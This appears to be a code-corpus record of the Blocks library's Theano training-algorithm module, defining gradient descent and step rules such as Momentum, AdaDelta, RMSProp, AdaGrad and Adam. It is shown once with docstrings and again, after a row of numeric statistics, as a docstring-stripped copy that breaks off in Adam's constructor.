self._cost_computation_graph = ComputationGraph(self.cost)
self._updates = []
@property
def inputs(self):
"""Return inputs of the cost computation graph.
Returns
-------
inputs : list of :class:`~tensor.TensorVariable`
Inputs to this graph.
"""
return self._cost_computation_graph.inputs
@property
def updates(self):
return self._updates
@updates.setter
def updates(self, value):
self._updates = value
def add_updates(self, updates):
"""Add updates to the training process.
The updates will be done _before_ the parameters are changed.
Parameters
----------
updates : list of tuples or :class:`~collections.OrderedDict`
The updates to add.
"""
if isinstance(updates, OrderedDict):
updates = list(updates.items())
if not isinstance(updates, list):
raise ValueError
self.updates.extend(updates)
variable_mismatch_error = """
Blocks tried to match the sources ({sources}) of the training dataset to \
the names of the Theano variables ({variables}), but failed to do so. \
If you want to train on a subset of the sources that your dataset provides, \
pass the `sources` keyword argument to its constructor. Or pass \
on_unused_sources='warn' or on_unused_sources='ignore' to \
the GradientDescent algorithm."""
source_missing_error = """
Blocks didn't find all the sources ({sources}) of the training dataset \
that match the names of the Theano variables ({variables})."""
class GradientDescent(DifferentiableCostMinimizer):
"""A base class for all gradient descent algorithms.
By "gradient descent" we mean a training algorithm of the following
form:
.. code-block:: python
for batch in data:
steps = step_rule.compute_steps(parameters,
gradients_wr_parameters)
for parameter in parameters:
parameter -= steps[parameter]
Note, that the step is *subtracted, not added*! This is done in order
to make step rule chaining possible.
Parameters
----------
step_rule : instance of :class:`StepRule`, optional
An object encapsulating most of the algorithm's logic. Its
`compute_steps` method is called to get Theano expression for
steps. Note, that the step rule might have a state, e.g. to
remember a weighted sum of gradients from previous steps like it is
done in gradient descent with momentum. If ``None``, an instance of
:class:`Scale` is created.
gradients : dict, optional
A dictionary mapping a parameter to an expression for the cost's
gradient with respect to the parameter. If ``None``, the gradient
are taken automatically using :func:`theano.gradient.grad`.
known_grads : dict, optional
A passthrough to `theano.tensor.grad`'s `known_grads` argument.
Useful when you know the [approximate] gradients of some
sub-expressions and would like Theano to use that information
to compute parameter gradients. Only makes sense when `gradients`
is `None`.
consider_constant : list, optional
A passthrough to `theano.tensor.grad`'s `consider_constant`
argument. A list of expressions through which gradients will not
be backpropagated. Only makes sense when `gradients` is `None`.
on_unused_sources : str, one of 'raise' (default), 'ignore', 'warn'
Controls behavior when not all sources are used.
theano_func_kwargs : dict, optional
A passthrough to `theano.function` for additional arguments.
Useful for passing `profile` or `mode` arguments to the theano
function that will be compiled for the algorithm.
Attributes
----------
gradients : dict
The gradient dictionary.
step_rule : instance of :class:`StepRule`
The step rule.
"""
def __init__(self, step_rule=None, gradients=None, known_grads=None,
consider_constant=None, on_unused_sources='raise',
theano_func_kwargs=None, **kwargs):
if gradients:
kwargs.setdefault("parameters", gradients.keys())
super(GradientDescent, self).__init__(**kwargs)
self.gradients = gradients
if not self.gradients:
logger.info("Taking the cost gradient")
self.gradients = dict(
equizip(self.parameters, tensor.grad(
self.cost, self.parameters,
known_grads=known_grads,
consider_constant=consider_constant)))
logger.info("The cost gradient computation graph is built")
else:
if known_grads:
raise ValueError("known_grads has no effect when gradients "
"are passed in")
if consider_constant is not None:
raise ValueError("consider_constant has no effect when "
"gradients are passed in")
self.step_rule = step_rule if step_rule else Scale()
self.total_gradient_norm = l2_norm(
self.gradients.values()).copy(name="total_gradient_norm")
self.steps, self.step_rule_updates = (
self.step_rule.compute_steps(self.gradients))
self.total_step_norm = l2_norm(
self.steps.values()).copy(name="total_step_norm")
self.on_unused_sources = on_unused_sources
self.theano_func_kwargs = (theano_func_kwargs if theano_func_kwargs
is not None else dict())
def initialize(self):
logger.info("Initializing the training algorithm")
all_updates = self.updates
# Note: the gradients are computed in the same order in which
# the parameters were given. Keep it like that to ensure
# reproducibility.
for parameter in self.parameters:
all_updates.append((parameter, parameter - self.steps[parameter]))
all_updates += self.step_rule_updates
self._function = theano.function(
self.inputs, [], updates=all_updates, **self.theano_func_kwargs)
logger.info("The training algorithm is initialized")
def _validate_source_names(self, batch):
in_names = [v.name for v in self.inputs]
if not set(in_names).issubset(set(batch.keys())):
raise ValueError("Didn't find all sources: " +
source_missing_error.format(
sources=batch.keys(),
variables=in_names))
if not set(batch.keys()).issubset(set(in_names)):
if self.on_unused_sources == 'ignore':
pass
elif self.on_unused_sources == 'warn':
if not hasattr(self, '_unused_source_warned'):
logger.warn(variable_mismatch_error.format(
sources=batch.keys(),
variables=in_names))
self._unused_source_warned = True
elif self.on_unused_sources == 'raise':
raise ValueError(
"mismatch of variable names and data sources" +
variable_mismatch_error.format(
sources=batch.keys(),
variables=in_names))
else:
raise ValueError("Wrong value of on_unused_sources: {}."
.format(self.on_unused_sources))
def process_batch(self, batch):
self._validate_source_names(batch)
ordered_batch = [batch[v.name] for v in self.inputs]
self._function(*ordered_batch)
@add_metaclass(ABCMeta)
class StepRule(object):
"""A rule to compute steps for a gradient descent algorithm."""
def compute_step(self, parameter, previous_step):
"""Build a Theano expression for the step for a parameter.
This method is called by default implementation of
:meth:`compute_steps`, it relieves from writing a loop each time.
Parameters
----------
parameter : :class:`~tensor.TensorSharedVariable`
The parameter.
previous_step : :class:`~tensor.TensorVariable`
Some quantity related to the gradient of the cost with respect
to the parameter, either the gradient itself or a step in a
related direction.
Returns
-------
step : :class:`~theano.Variable`
Theano variable for the step to take.
updates : list
A list of tuples representing updates to be performed. This
is useful for stateful rules such as :class:`Momentum` which
need to update shared variables after itetations.
"""
raise NotImplementedError
def compute_steps(self, previous_steps):
"""Build a Theano expression for steps for all parameters.
Override this method if you want to process the steps
with respect to all parameters as a whole, not parameter-wise.
Parameters
----------
previous_steps : OrderedDict
An :class:`~OrderedDict` of
(:class:`~tensor.TensorSharedVariable`
:class:`~tensor.TensorVariable`) pairs. The keys are the
parameters being trained, the values are the expressions for
quantities related to gradients of the cost with respect to
the parameters, either the gradients themselves or steps in
related directions.
Returns
-------
steps : OrderedDict
A dictionary of the proposed steps in the same form as
`previous_steps`.
updates : list
A list of tuples representing updates to be performed.
"""
parameter_wise = [self.compute_step(parameter,
previous_steps[parameter])
for parameter in previous_steps]
steps, updates = equizip(*parameter_wise)
steps = OrderedDict((parameter, step) for parameter, step
in equizip(previous_steps.keys(), steps))
updates = list(itertools.chain(*updates))
return steps, updates
class CompositeRule(StepRule):
"""Chains several step rules.
Parameters
----------
components : list of :class:`StepRule`
The learning rules to be chained. The rules will be applied in the
order as given.
"""
def __init__(self, components):
self.components = components
def compute_steps(self, previous_steps):
steps = previous_steps
updates = []
for rule in self.components:
steps, more_updates = rule.compute_steps(steps)
updates += more_updates
return steps, updates
class Scale(StepRule):
"""A step in the direction proportional to the previous step.
If used in :class:`GradientDescent` alone, this step rule implements
steepest descent.
Parameters
----------
learning_rate : float
The learning rate by which the previous step is multiplied to
produce the step.
Attributes
----------
learning_rate : :class:`~tensor.TensorSharedVariable`
The shared variable storing the learning rate used.
"""
def __init__(self, learning_rate=1.0):
self.learning_rate = shared_floatx(learning_rate, "learning_rate")
add_role(self.learning_rate, ALGORITHM_HYPERPARAMETER)
def compute_step(self, parameter, previous_step):
return self.learning_rate * previous_step, []
class BasicMomentum(StepRule):
"""Accumulates step with exponential discount.
Parameters
----------
momentum : float, optional
The momentum coefficient. Defaults to 0.
Notes
-----
This step rule is intended to be used in conjunction with another
step rule, _e.g._ :class:`Scale`. For an all-batteries-included
experience, look at :class:`Momentum`.
"""
def __init__(self, momentum=0.):
self.momentum = shared_floatx(momentum, "momentum")
add_role(self.momentum, ALGORITHM_HYPERPARAMETER)
def compute_step(self, parameter, previous_step):
velocity = _create_algorithm_buffer_for(parameter, "velocity")
step = self.momentum * velocity + previous_step
updates = [(velocity, step)]
return step, updates
class Momentum(CompositeRule):
"""Accumulates step with exponential discount.
Combines :class:`BasicMomentum` and :class:`Scale` to form the
usual momentum step rule.
Parameters
----------
learning_rate : float, optional
The learning rate by which the previous step scaled. Defaults to 1.
momentum : float, optional
The momentum coefficient. Defaults to 0.
Attributes
----------
learning_rate : :class:`~tensor.SharedVariable`
A variable for learning rate.
momentum : :class:`~tensor.SharedVariable`
A variable for momentum.
See Also
--------
:class:`SharedVariableModifier`
"""
def __init__(self, learning_rate=1.0, momentum=0.):
scale = Scale(learning_rate=learning_rate)
basic_momentum = BasicMomentum(momentum=momentum)
self.learning_rate = scale.learning_rate
self.momentum = basic_momentum.momentum
self.components = [scale, basic_momentum]
class AdaDelta(StepRule):
"""Adapts the step size over time using only first order information.
Parameters
----------
decay_rate : float, optional
Decay rate in [0, 1]. Defaults to 0.95.
epsilon : float, optional
Stabilizing constant for RMS. Defaults to 1e-6.
Notes
-----
For more information, see [ADADELTA]_.
.. [ADADELTA] Matthew D. Zeiler, *ADADELTA: An Adaptive Learning
Rate Method*, arXiv:1212.5701.
"""
def __init__(self, decay_rate=0.95, epsilon=1e-6):
if not 0.0 <= decay_rate <= 1.0:
raise ValueError("decay rate needs to be in [0, 1]")
self.decay_rate = shared_floatx(decay_rate, "decay_rate")
add_role(self.decay_rate, ALGORITHM_HYPERPARAMETER)
self.epsilon = shared_floatx(epsilon, "epsilon")
add_role(self.epsilon, ALGORITHM_HYPERPARAMETER)
def compute_step(self, parameter, previous_step):
mean_square_step_tm1 = _create_algorithm_buffer_for(
parameter, "mean_square_step_tm1")
mean_square_delta_x_tm1 = _create_algorithm_buffer_for(
parameter, "mean_square_delta_x_tm1")
mean_square_step_t = (
self.decay_rate * mean_square_step_tm1 +
(1 - self.decay_rate) * tensor.sqr(previous_step)
)
rms_delta_x_tm1 = tensor.sqrt(mean_square_delta_x_tm1 + self.epsilon)
rms_step_t = tensor.sqrt(mean_square_step_t + self.epsilon)
delta_x_t = rms_delta_x_tm1 / rms_step_t * previous_step
mean_square_delta_x_t = (
self.decay_rate * mean_square_delta_x_tm1 +
(1 - self.decay_rate) * tensor.sqr(delta_x_t)
)
step = delta_x_t
updates = [(mean_square_step_tm1, mean_square_step_t),
(mean_square_delta_x_tm1, mean_square_delta_x_t)]
return step, updates
class BasicRMSProp(StepRule):
"""Scales the step size by a running average of the recent step norms.
Parameters
----------
decay_rate : float, optional
How fast the running average decays, value in [0, 1]
(lower is faster). Defaults to 0.9.
max_scaling : float, optional
Maximum scaling of the step size, in case the running average is
really small. Needs to be greater than 0. Defaults to 1e5.
Notes
-----
This step rule is intended to be used in conjunction with another
step rule, _e.g._ :class:`Scale`. For an all-batteries-included
experience, look at :class:`RMSProp`.
In general, this step rule should be used _before_ other step rules,
because it has normalization properties that may undo their work.
For instance, it should be applied first when used in conjunction
with :class:`Scale`.
For more information, see [Hint2014]_.
"""
def __init__(self, decay_rate=0.9, max_scaling=1e5):
if not 0.0 <= decay_rate <= 1.0:
raise ValueError("decay rate needs to be in [0, 1]")
if max_scaling <= 0:
raise ValueError("max. scaling needs to be greater than 0")
self.decay_rate = shared_floatx(decay_rate, "decay_rate")
add_role(self.decay_rate, ALGORITHM_HYPERPARAMETER)
self.epsilon = 1. / max_scaling
def compute_step(self, parameter, previous_step):
mean_square_step_tm1 = _create_algorithm_buffer_for(
parameter, "mean_square_step_tm1")
mean_square_step_t = (
self.decay_rate * mean_square_step_tm1 +
(1 - self.decay_rate) * tensor.sqr(previous_step))
rms_step_t = tensor.maximum(
tensor.sqrt(mean_square_step_t), self.epsilon)
step = previous_step / rms_step_t
updates = [(mean_square_step_tm1, mean_square_step_t)]
return step, updates
class RMSProp(CompositeRule):
"""Scales the step size by a running average of the recent step norms.
Combines :class:`BasicRMSProp` and :class:`Scale` to form the step rule
described in [Hint2014]_.
.. [Hint2014] Geoff Hinton, *Neural Networks for Machine Learning*,
lecture 6a,
http://cs.toronto.edu/~tijmen/csc321/slides/lecture_slides_lec6.pdf
Parameters
----------
learning_rate : float, optional
The learning rate by which the previous step scaled. Defaults to 1.
decay_rate : float, optional
How fast the running average decays (lower is faster).
Defaults to 0.9.
max_scaling : float, optional
Maximum scaling of the step size, in case the running average is
really small. Defaults to 1e5.
Attributes
----------
learning_rate : :class:`~tensor.SharedVariable`
A variable for learning rate.
decay_rate : :class:`~tensor.SharedVariable`
A variable for decay rate.
See Also
--------
:class:`SharedVariableModifier`
"""
def __init__(self, learning_rate=1.0, decay_rate=0.9, max_scaling=1e5):
basic_rms_prop = BasicRMSProp(decay_rate=decay_rate,
max_scaling=max_scaling)
scale = Scale(learning_rate=learning_rate)
self.learning_rate = scale.learning_rate
self.decay_rate = basic_rms_prop.decay_rate
self.components = [basic_rms_prop, scale]
class StepClipping(StepRule):
"""Rescales an entire step if its L2 norm exceeds a threshold.
When the previous steps are the gradients, this step rule performs
gradient clipping.
Parameters
----------
threshold : float, optional
The maximum permitted L2 norm for the step. The step
will be rescaled to be not higher than this quanity.
If ``None``, no rescaling will be applied.
Attributes
----------
threshold : :class:`.tensor.TensorSharedVariable`
The shared variable storing the clipping threshold used.
"""
def __init__(self, threshold=None):
if threshold:
self.threshold = shared_floatx(threshold, "threshold")
add_role(self.threshold, ALGORITHM_HYPERPARAMETER)
def compute_steps(self, previous_steps):
if not hasattr(self, 'threshold'):
return previous_steps
norm = l2_norm(previous_steps.values())
multiplier = tensor.switch(norm < self.threshold,
1, self.threshold / norm)
steps = OrderedDict(
(parameter, step * multiplier)
for parameter, step in previous_steps.items())
return steps, []
class VariableClipping(StepRule):
"""Clip the maximum norm of individual variables along certain axes.
This :class:`StepRule` can be used to implement L2 norm constraints on
e.g. the weight vectors of individual hidden units, convolutional
filters or entire weight tensors. Combine with :class:`Restrict`
(and possibly :class:`CompositeRule`), to apply such constraints only
to certain variables and/or apply different norm constraints to
different variables.
Parameters
----------
threshold : float
Maximum norm for a given (portion of a) tensor.
axis : int or iterable, optional
An integer single axis, or an iterable collection of integer
axes over which to sum in order to calculate the L2 norm. If
`None` (the default), the norm is computed over all elements
of the tensor.
Notes
-----
Because of the way the :class:`StepRule` API works, this particular
rule implements norm clipping of the value *after* update in the
following way: it computes ``parameter - previous_step``, scales it
to have (possibly axes-wise) norm(s) of at most `threshold`,
then subtracts *that* value from `parameter` to yield an 'equivalent
step' that respects the desired norm constraints. This procedure
implicitly assumes one is doing simple (stochastic) gradient descent,
and so steps computed by this step rule may not make sense for use
in other contexts.
Investigations into max-norm regularization date from [Srebro2005]_.
The first appearance of this technique as a regularization method
for the weight vectors of individual hidden units in feed-forward
neural networks may be [Hinton2012]_.
.. [Srebro2005] Nathan Srebro and Adi Shraibman.
"Rank, Trace-Norm and Max-Norm". *18th Annual Conference
on Learning Theory (COLT)*, June 2005.
.. [Hinton2012] Geoffrey E. Hinton, Nitish Srivastava,
Alex Krizhevsky, Ilya Sutskever, Ruslan R. Salakhutdinov.
"Improving neural networks by preventing co-adaptation of
feature detectors". arXiv:1207.0580.
"""
def __init__(self, threshold, axis=None):
axis = pack(axis) if axis is not None else ()
self.axis = set(axis)
self.threshold = shared_floatx(threshold, "threshold")
add_role(self.threshold, ALGORITHM_HYPERPARAMETER)
if len(axis) != len(self.axis):
raise ValueError("axis must be unique")
def compute_step(self, parameter, previous_step):
if any(ax >= previous_step.ndim for ax in self.axis):
raise ValueError("Invalid axis {} for {}, ndim={}".format(
self.axis, parameter, previous_step.ndim))
if len(self.axis) == 0:
norms = l2_norm([parameter - previous_step])
else:
squares = tensor.sqr(parameter - previous_step)
norms = tensor.sqrt(
reduce(lambda t, a: t.sum(axis=a, keepdims=True),
sorted(self.axis), squares))
# We want a step s* that is the same as scaling
# (parameter - previous_step) by threshold / norm
# when threshold < norm.
shrinking_step = (parameter -
(self.threshold / norms) *
(parameter - previous_step))
return tensor.switch(norms > self.threshold,
shrinking_step,
previous_step), ()
class AdaGrad(StepRule):
"""Implements the AdaGrad learning rule.
Parameters
----------
learning_rate : float, optional
Step size.
Default value is set to 0.0002.
epsilon : float, optional
Stabilizing constant for one over root of sum of squares.
Defaults to 1e-6.
Notes
-----
For more information, see [ADAGRAD]_.
.. [ADADGRAD] Duchi J, Hazan E, Singer Y.,
*Adaptive subgradient methods for online learning and
stochastic optimization*,
http://www.jmlr.org/papers/volume12/duchi11a/duchi11a.pdf
"""
def __init__(self, learning_rate=0.002, epsilon=1e-6):
self.learning_rate = shared_floatx(learning_rate, "learning_rate")
self.epsilon = shared_floatx(epsilon, "epsilon")
add_role(self.learning_rate, ALGORITHM_HYPERPARAMETER)
add_role(self.epsilon, ALGORITHM_HYPERPARAMETER)
def compute_step(self, parameter, previous_step):
name = 'adagrad_sqs'
if parameter.name:
name += '_' + parameter.name
ssq = _create_algorithm_buffer_for(parameter, name=name)
ssq_t = (tensor.sqr(previous_step) + ssq)
step = (self.learning_rate * previous_step /
(tensor.sqrt(ssq_t) + self.epsilon))
updates = [(ssq, ssq_t)]
return step, updates
class Adam(StepRule):
"""Adam optimizer as described in [King2014]_.
.. [King2014] Diederik Kingma, Jimmy Ba,
*Adam: A Method for Stochastic Optimization*,
http://arxiv.org/abs/1412.6980
Parameters
----------
learning_rate : float, optional
Step size.
Default value is set to 0.002.
beta1 : float, optional
Exponential decay rate for the first moment estimates.
Default value is set to 0.1.
beta2 : float, optional
Exponential decay rate for the second moment estimates.
Default value is set to 0.001.
epsilon : float, optional
Default value is set to 1e-8.
decay_factor : float, optional
Default value is set to 1 - 1e-8.
"""
def __init__(self, learning_rate=0.002,
beta1=0.1, beta2=0.001, epsilon=1e-8,
decay_factor=(1 - 1e-8)):
self.learning_rate = shared_floatx(learning_rate, "learning_rate")
self.beta1 = shared_floatx(beta1, "beta1")
self.beta2 = shared_floatx(beta2, "beta2")
self.epsilon = shared_floatx(epsilon, "epsilon")
self.decay_factor = shared_floatx(decay_factor, "decay_factor")
for param in [self.learning_rate, self.beta1, self.beta2, self.epsilon,
self.decay_factor]:
add_role(param, ALGORITHM_HYPERPARAMETER)
def compute_step(self, parameter, previous_step):
mean = _create_algorithm_buffer_for(parameter, 'mean')
variance = _create_algorithm_buffer_for(parameter, 'variance')
time = shared_floatx(0., 'time')
add_role(time, ALGORITHM_BUFFER)
t1 = time + 1
learning_rate = (self.learning_rate *
tensor.sqrt((1. - (1. - self.beta2)**t1)) /
(1. - (1. - self.beta1)**t1))
beta_1t = 1 - (1 - self.beta1) * self.decay_factor ** (t1 - 1)
mean_t = beta_1t * previous_step + (1. - beta_1t) * mean
variance_t = (self.beta2 * tensor.sqr(previous_step) +
(1. - self.beta2) * variance)
step = (learning_rate * mean_t /
(tensor.sqrt(variance_t) + self.epsilon))
updates = [(mean, mean_t),
(variance, variance_t),
(time, t1)]
return step, updates
class RemoveNotFinite(StepRule):
"""A step rule that skips steps with non-finite elements.
Replaces a step (the parameter update of a single shared variable)
which contains non-finite elements (such as ``inf`` or ``NaN``) with a
step rescaling the parameters.
Parameters
----------
scaler : float, optional
The scaling applied to the parameter in case the step contains
non-finite elements. Defaults to 1, which means that parameters
will not be changed.
Notes
-----
This rule should be applied last!
This trick was originally used in the GroundHog_ framework.
.. _GroundHog: https://github.com/lisa-groundhog/GroundHog
"""
def __init__(self, scaler=1):
self.scaler = scaler
def compute_step(self, parameter, previous_step):
step_sum = tensor.sum(previous_step)
not_finite = (tensor.isnan(step_sum) +
tensor.isinf(step_sum))
step = tensor.switch(
not_finite > 0, (1 - self.scaler) * parameter, previous_step)
return step, []
class Restrict(StepRule):
"""Applies a given :class:`StepRule` only to certain variables.
Example applications include clipping steps on only certain parameters,
or scaling a certain kind of parameter's updates (e.g. adding an
additional scalar multiplier to the steps taken on convolutional
filters).
Parameters
----------
step_rule : :class:`StepRule`
The :class:`StepRule` to be applied on the given variables.
variables : iterable
A collection of Theano variables on which to apply `step_rule`.
Variables not appearing in this collection will not have
`step_rule` applied to them.
"""
def __init__(self, step_rule, variables):
self.step_rule = step_rule
self.variables = frozenset(variables)
def compute_steps(self, previous_steps):
filtered_previous_steps = dict_subset(previous_steps, self.variables)
steps, updates = self.step_rule.compute_steps(filtered_previous_steps)
actual = OrderedDict((parameter, steps[parameter])
if parameter in steps
else (parameter, previous_steps[parameter])
for parameter in previous_steps)
return actual, updates
| 36.662934 | 79 | 0.641784 | import logging
import itertools
from abc import ABCMeta, abstractmethod
from collections import OrderedDict
from six.moves import reduce
from picklable_itertools.extras import equizip
import theano
from six import add_metaclass
from theano import tensor
from blocks.graph import ComputationGraph
from blocks.roles import add_role, ALGORITHM_HYPERPARAMETER, ALGORITHM_BUFFER
from blocks.theano_expressions import l2_norm
from blocks.utils import (dict_subset, pack, shared_floatx,
shared_floatx_zeros_matching)
logger = logging.getLogger(__name__)
def _create_algorithm_buffer_for(param, *args, **kwargs):
buf = shared_floatx_zeros_matching(param, *args, **kwargs)
buf.tag.for_parameter = param
add_role(buf, ALGORITHM_BUFFER)
return buf
@add_metaclass(ABCMeta)
class TrainingAlgorithm(object):
@abstractmethod
def initialize(self, **kwargs):
pass
@abstractmethod
def process_batch(self, batch):
pass
class DifferentiableCostMinimizer(TrainingAlgorithm):
def __init__(self, cost, parameters):
self.cost = cost
self.parameters = parameters
self._cost_computation_graph = ComputationGraph(self.cost)
self._updates = []
@property
def inputs(self):
return self._cost_computation_graph.inputs
@property
def updates(self):
return self._updates
@updates.setter
def updates(self, value):
self._updates = value
def add_updates(self, updates):
if isinstance(updates, OrderedDict):
updates = list(updates.items())
if not isinstance(updates, list):
raise ValueError
self.updates.extend(updates)
variable_mismatch_error = """
Blocks tried to match the sources ({sources}) of the training dataset to \
the names of the Theano variables ({variables}), but failed to do so. \
If you want to train on a subset of the sources that your dataset provides, \
pass the `sources` keyword argument to its constructor. Or pass \
on_unused_sources='warn' or on_unused_sources='ignore' to \
the GradientDescent algorithm."""
source_missing_error = """
Blocks didn't find all the sources ({sources}) of the training dataset \
that match the names of the Theano variables ({variables})."""
class GradientDescent(DifferentiableCostMinimizer):
def __init__(self, step_rule=None, gradients=None, known_grads=None,
consider_constant=None, on_unused_sources='raise',
theano_func_kwargs=None, **kwargs):
if gradients:
kwargs.setdefault("parameters", gradients.keys())
super(GradientDescent, self).__init__(**kwargs)
self.gradients = gradients
if not self.gradients:
logger.info("Taking the cost gradient")
self.gradients = dict(
equizip(self.parameters, tensor.grad(
self.cost, self.parameters,
known_grads=known_grads,
consider_constant=consider_constant)))
logger.info("The cost gradient computation graph is built")
else:
if known_grads:
raise ValueError("known_grads has no effect when gradients "
"are passed in")
if consider_constant is not None:
raise ValueError("consider_constant has no effect when "
"gradients are passed in")
self.step_rule = step_rule if step_rule else Scale()
self.total_gradient_norm = l2_norm(
self.gradients.values()).copy(name="total_gradient_norm")
self.steps, self.step_rule_updates = (
self.step_rule.compute_steps(self.gradients))
self.total_step_norm = l2_norm(
self.steps.values()).copy(name="total_step_norm")
self.on_unused_sources = on_unused_sources
self.theano_func_kwargs = (theano_func_kwargs if theano_func_kwargs
is not None else dict())
def initialize(self):
logger.info("Initializing the training algorithm")
all_updates = self.updates
# Note: the gradients are computed in the same order in which
# the parameters were given. Keep it like that to ensure
# reproducibility.
for parameter in self.parameters:
all_updates.append((parameter, parameter - self.steps[parameter]))
all_updates += self.step_rule_updates
self._function = theano.function(
self.inputs, [], updates=all_updates, **self.theano_func_kwargs)
logger.info("The training algorithm is initialized")
def _validate_source_names(self, batch):
in_names = [v.name for v in self.inputs]
if not set(in_names).issubset(set(batch.keys())):
raise ValueError("Didn't find all sources: " +
source_missing_error.format(
sources=batch.keys(),
variables=in_names))
if not set(batch.keys()).issubset(set(in_names)):
if self.on_unused_sources == 'ignore':
pass
elif self.on_unused_sources == 'warn':
if not hasattr(self, '_unused_source_warned'):
logger.warn(variable_mismatch_error.format(
sources=batch.keys(),
variables=in_names))
self._unused_source_warned = True
elif self.on_unused_sources == 'raise':
raise ValueError(
"mismatch of variable names and data sources" +
variable_mismatch_error.format(
sources=batch.keys(),
variables=in_names))
else:
raise ValueError("Wrong value of on_unused_sources: {}."
.format(self.on_unused_sources))
def process_batch(self, batch):
self._validate_source_names(batch)
ordered_batch = [batch[v.name] for v in self.inputs]
self._function(*ordered_batch)
@add_metaclass(ABCMeta)
class StepRule(object):
def compute_step(self, parameter, previous_step):
raise NotImplementedError
def compute_steps(self, previous_steps):
parameter_wise = [self.compute_step(parameter,
previous_steps[parameter])
for parameter in previous_steps]
steps, updates = equizip(*parameter_wise)
steps = OrderedDict((parameter, step) for parameter, step
in equizip(previous_steps.keys(), steps))
updates = list(itertools.chain(*updates))
return steps, updates
class CompositeRule(StepRule):
def __init__(self, components):
self.components = components
def compute_steps(self, previous_steps):
steps = previous_steps
updates = []
for rule in self.components:
steps, more_updates = rule.compute_steps(steps)
updates += more_updates
return steps, updates
class Scale(StepRule):
def __init__(self, learning_rate=1.0):
self.learning_rate = shared_floatx(learning_rate, "learning_rate")
add_role(self.learning_rate, ALGORITHM_HYPERPARAMETER)
def compute_step(self, parameter, previous_step):
return self.learning_rate * previous_step, []
class BasicMomentum(StepRule):
def __init__(self, momentum=0.):
self.momentum = shared_floatx(momentum, "momentum")
add_role(self.momentum, ALGORITHM_HYPERPARAMETER)
def compute_step(self, parameter, previous_step):
velocity = _create_algorithm_buffer_for(parameter, "velocity")
step = self.momentum * velocity + previous_step
updates = [(velocity, step)]
return step, updates
class Momentum(CompositeRule):
def __init__(self, learning_rate=1.0, momentum=0.):
scale = Scale(learning_rate=learning_rate)
basic_momentum = BasicMomentum(momentum=momentum)
self.learning_rate = scale.learning_rate
self.momentum = basic_momentum.momentum
self.components = [scale, basic_momentum]
class AdaDelta(StepRule):
def __init__(self, decay_rate=0.95, epsilon=1e-6):
if not 0.0 <= decay_rate <= 1.0:
raise ValueError("decay rate needs to be in [0, 1]")
self.decay_rate = shared_floatx(decay_rate, "decay_rate")
add_role(self.decay_rate, ALGORITHM_HYPERPARAMETER)
self.epsilon = shared_floatx(epsilon, "epsilon")
add_role(self.epsilon, ALGORITHM_HYPERPARAMETER)
def compute_step(self, parameter, previous_step):
mean_square_step_tm1 = _create_algorithm_buffer_for(
parameter, "mean_square_step_tm1")
mean_square_delta_x_tm1 = _create_algorithm_buffer_for(
parameter, "mean_square_delta_x_tm1")
mean_square_step_t = (
self.decay_rate * mean_square_step_tm1 +
(1 - self.decay_rate) * tensor.sqr(previous_step)
)
rms_delta_x_tm1 = tensor.sqrt(mean_square_delta_x_tm1 + self.epsilon)
rms_step_t = tensor.sqrt(mean_square_step_t + self.epsilon)
delta_x_t = rms_delta_x_tm1 / rms_step_t * previous_step
mean_square_delta_x_t = (
self.decay_rate * mean_square_delta_x_tm1 +
(1 - self.decay_rate) * tensor.sqr(delta_x_t)
)
step = delta_x_t
updates = [(mean_square_step_tm1, mean_square_step_t),
(mean_square_delta_x_tm1, mean_square_delta_x_t)]
return step, updates
class BasicRMSProp(StepRule):
def __init__(self, decay_rate=0.9, max_scaling=1e5):
if not 0.0 <= decay_rate <= 1.0:
raise ValueError("decay rate needs to be in [0, 1]")
if max_scaling <= 0:
raise ValueError("max. scaling needs to be greater than 0")
self.decay_rate = shared_floatx(decay_rate, "decay_rate")
add_role(self.decay_rate, ALGORITHM_HYPERPARAMETER)
self.epsilon = 1. / max_scaling
def compute_step(self, parameter, previous_step):
mean_square_step_tm1 = _create_algorithm_buffer_for(
parameter, "mean_square_step_tm1")
mean_square_step_t = (
self.decay_rate * mean_square_step_tm1 +
(1 - self.decay_rate) * tensor.sqr(previous_step))
rms_step_t = tensor.maximum(
tensor.sqrt(mean_square_step_t), self.epsilon)
step = previous_step / rms_step_t
updates = [(mean_square_step_tm1, mean_square_step_t)]
return step, updates
class RMSProp(CompositeRule):
def __init__(self, learning_rate=1.0, decay_rate=0.9, max_scaling=1e5):
basic_rms_prop = BasicRMSProp(decay_rate=decay_rate,
max_scaling=max_scaling)
scale = Scale(learning_rate=learning_rate)
self.learning_rate = scale.learning_rate
self.decay_rate = basic_rms_prop.decay_rate
self.components = [basic_rms_prop, scale]
class StepClipping(StepRule):
def __init__(self, threshold=None):
if threshold:
self.threshold = shared_floatx(threshold, "threshold")
add_role(self.threshold, ALGORITHM_HYPERPARAMETER)
def compute_steps(self, previous_steps):
if not hasattr(self, 'threshold'):
return previous_steps
norm = l2_norm(previous_steps.values())
multiplier = tensor.switch(norm < self.threshold,
1, self.threshold / norm)
steps = OrderedDict(
(parameter, step * multiplier)
for parameter, step in previous_steps.items())
return steps, []
class VariableClipping(StepRule):
def __init__(self, threshold, axis=None):
axis = pack(axis) if axis is not None else ()
self.axis = set(axis)
self.threshold = shared_floatx(threshold, "threshold")
add_role(self.threshold, ALGORITHM_HYPERPARAMETER)
if len(axis) != len(self.axis):
raise ValueError("axis must be unique")
def compute_step(self, parameter, previous_step):
if any(ax >= previous_step.ndim for ax in self.axis):
raise ValueError("Invalid axis {} for {}, ndim={}".format(
self.axis, parameter, previous_step.ndim))
if len(self.axis) == 0:
norms = l2_norm([parameter - previous_step])
else:
squares = tensor.sqr(parameter - previous_step)
norms = tensor.sqrt(
reduce(lambda t, a: t.sum(axis=a, keepdims=True),
sorted(self.axis), squares))
shrinking_step = (parameter -
(self.threshold / norms) *
(parameter - previous_step))
return tensor.switch(norms > self.threshold,
shrinking_step,
previous_step), ()
class AdaGrad(StepRule):
def __init__(self, learning_rate=0.002, epsilon=1e-6):
self.learning_rate = shared_floatx(learning_rate, "learning_rate")
self.epsilon = shared_floatx(epsilon, "epsilon")
add_role(self.learning_rate, ALGORITHM_HYPERPARAMETER)
add_role(self.epsilon, ALGORITHM_HYPERPARAMETER)
def compute_step(self, parameter, previous_step):
name = 'adagrad_sqs'
if parameter.name:
name += '_' + parameter.name
ssq = _create_algorithm_buffer_for(parameter, name=name)
ssq_t = (tensor.sqr(previous_step) + ssq)
step = (self.learning_rate * previous_step /
(tensor.sqrt(ssq_t) + self.epsilon))
updates = [(ssq, ssq_t)]
return step, updates
class Adam(StepRule):
def __init__(self, learning_rate=0.002,
beta1=0.1, beta2=0.001, epsilon=1e-8,
